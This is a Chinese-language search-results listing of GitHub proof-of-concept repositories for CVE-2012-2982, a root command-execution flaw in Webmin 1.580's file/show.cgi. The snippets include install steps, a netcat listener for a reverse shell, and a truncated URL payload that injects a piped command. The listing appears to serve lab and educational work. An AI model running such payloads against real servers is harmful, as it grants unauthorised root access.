8 matches found
CVE-2012-2982
CVE-2012-2982 此 Python 脚本针对 Webmin 1.580 中的漏洞 CVE-2012-2982 编写。该漏洞存在于 /file/show.cgi 组件中，允许有权访问文件管理器模块的已认证用户以 root 权限执行任意命令。 安装 已测试的 Python 版本：Python 3.8.5 所需的 pip 包：secrets git clone https://github.com/OstojaOfficial/CVE-2012-2982.git pip3 install -r requirements.txt 用法 使用以下命令运行漏洞利用程序： python3...
CVE-2012-2982
CVE-2012-2982 John Hammond | 2021年9月4日 检查 searchsploit 对于 Webmin 1.580，我只看到了一个 Metasploit 模块，用于对该旧版 Webmin 版本进行 /file/show.cgi 远程代码执行攻击。 这段代码尝试用 Python 重新实现该攻击，而无需使用 Metasploit。 文件 CVE-2021-2982.py - 该脚本提供了一次性执行单个命令的能力。...
CVE-2012-2982
CVE-2012-2982 描述 Webmin 1.590 及更早版本中的 file/show.cgi 允许远程认证用户通过路径名中的无效字符（例如 |（管道符））执行任意命令。 安装 1. git clone https://github.com/CpyRe/CVE-2012-2982.git 2. pip3 install -r requirements.txt 使用方法 1. nc -nlvp 2. python3 exp.py 或 python3 subprocess-exp.py 3. RCE!!...
Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-
Webmin 1.580 RCE 执行指南 关于通过 /file/show.cgi 组件在 Webmin 1.580 上执行经过身份验证的远程代码执行 RCE 的快速参考。 1. 攻击机（监听器） 在本地机器上运行此命令以在执行负载之前捕获传入的连接： root@kitploit: rlwrap nc -lnvp 4444 2. 目标利用载荷 将以下 URL 直接粘贴到浏览器的地址栏中（确保您已先登录 Webmin 仪表盘）： root@kitploit: http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm...
CVE-2012-2982-Webmin-RCE
Webadmin 1.580 RCE PoC CVE-2012-2982 此仓库包含一个针对 Webmin 版本 1.580 的 Python 概念验证 PoC 漏洞利用程序，该版本由于输入清理不当而存在 远程命令执行 RCE 漏洞。该漏洞存在于 file/show.cgi 组件中，允许拥有文件管理器模块访问权限的 已认证 Webmin 用户 以 root 权限执行任意系统命令 。 此 PoC 是为 教育和研究目的 开发的，并在受控实验室环境 TryHackMe 中进行了测试。 ⚠️ 本项目仅供教育目的和授权的安全测试使用。 🛡️ 漏洞详情 产品： Webmin 版本： 1.580 CVE：...
CVE-2012-2982
CVE-2012-2982 也称为 /file/show.cgi 远程命令执行 一个简单的 CVE-2012-2982 poc...
